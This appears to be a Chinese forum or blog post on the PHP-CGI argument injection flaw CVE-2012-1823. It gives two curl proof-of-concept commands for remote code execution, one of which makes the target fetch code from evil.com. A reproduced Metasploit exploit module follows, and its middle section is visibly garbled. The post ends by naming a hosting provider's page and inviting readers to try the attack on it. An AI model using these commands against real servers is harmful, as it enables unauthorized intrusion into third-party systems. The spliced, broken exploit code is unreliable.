CVE-2012-1823（PHP-CGI RCE）的PoC及技术挑战

国外又发布了一个牛逼闪闪的php cgi远程任意代码执行漏洞： http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/  

粗看一下貌似没啥危害，因为php做了防范，在cgi这个sapi下是无法使用-r，-f等直接执行命令的参数的。只有少数几个参数可以使用，因此公告里也就给出了 使用-s参数读取源文件的poc。  

另外关于RCE的PoC原文没有给出，不过说明的确可以远程执行代码。那么他是怎么做到的呢？我粗略想了想，可以利用的参数只有一个-d参数了，作用是给php定义一个ini的值。 

那么利用它能做什么呢？我给出如下两个RCE的PoC方案： 

1、本地包含直接执行代码: 
curl -H "USER-AGENT: " http://target.com/test.php?-dauto_prepend_file%3d/proc/self/environ+-n 

2、远程包含执行代码: 
curl http://target.com/test.php?-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3a%2f%2Fwww.evil.com%2fevil.txt 

经过测试以上两者都可以，但其实就是一个包含文件的两种使用而已。 

各位看看还有什么牛逼的方法可以绕过限制直接远程执行代码呢？这会是一个很好玩的技术挑战。 

http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
        http://ompldr.org/vZGxxaQ
        http://zone.wooyun.org/content/151
        http://www.php-security.net/archives/9-New-PHP-CGI-exploit-CVE-2012-1823.html
        http://www.php-security.net/archives/11-Mitigation-for-CVE-2012-1823-CVE-2012-2311.html

MetaSploit提供了如下测试模块：

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

load 'lib/msf/core/exploit/http/server.rb'
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'PHP CGI Argument Injection',
            'Description'    => %q{
                When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
                an argument injection vulnerability.  This module takes advantage of
                the -d flag to set php.ini directives to achieve code execution.
                From the advisory: "if there is NO unescaped ‘=’ in the query string,
                the string is split on ‘+’ (encoded space) characters, urldecoded,
                passed to a function that escapes shell metacharacters (the “encoded in
                a system-defined manner” from the RFC) and then passes them to the CGI
                binary."
            },
            'Author'         => [ 'egypt', 'hdm' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision$',
            'References'     => [
                    [ "CVE"    , "2012-1823" ],
                    [ "URL"    , "http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/" ],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    # Arbitrary big number. The payload gets sent as an HTTP
                    # response body, so really it's unlimited
                    'Space'       => 262144, # 256k
                },
            'DisclosureDate' => 'May 03 2012',
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        => [[ 'Automatic', { }]],
            'DefaultTarget' => 0))

        register_options([
            OptString.new('TARGETURI', [false, "The URI to request"]),
            ], self.class)
    end

    # php-cgi -h
    # ...
    #   -s               Display colour syntax highlighted source.
    def check
        uri = target_uri.path
        if(uri and ! uri.empty?)
            uri.gsub!(/\?.*/, "")

            print_status("Checking uri #{uri}")

            response = send_request_raw({ 'uri' => uri })

            if response and response.code == 200 and response.body =~ /\\ uri + '?-s'})
            if response and response.code == 200 and response.body =~ /\\ "POST",
                'global' => true,
                'uri'    => uri,
                'data'   => payload_oneline,
            }, 0.1)
            handler

        rescue ::Interrupt
            raise $!
        rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
            print_error("The target service unreachable")
        rescue ::OpenSSL::SSL::SSLError
            print_error("The target failed to negotiate SSL, is this really an SSL service?")
        end
    end

    def rand_php_ini_false
        [ "0", "off", "false" ].sort_by{rand}.first
    end

    def rand_php_ini_true
        [ "1", "on", "true" ].sort_by{rand}.first
    end

end

目前绝大多数虚拟主机提供商都是CGI方式，例如：

 http://www.yihengit.com.cn/php.php 

,有兴趣可以去试一试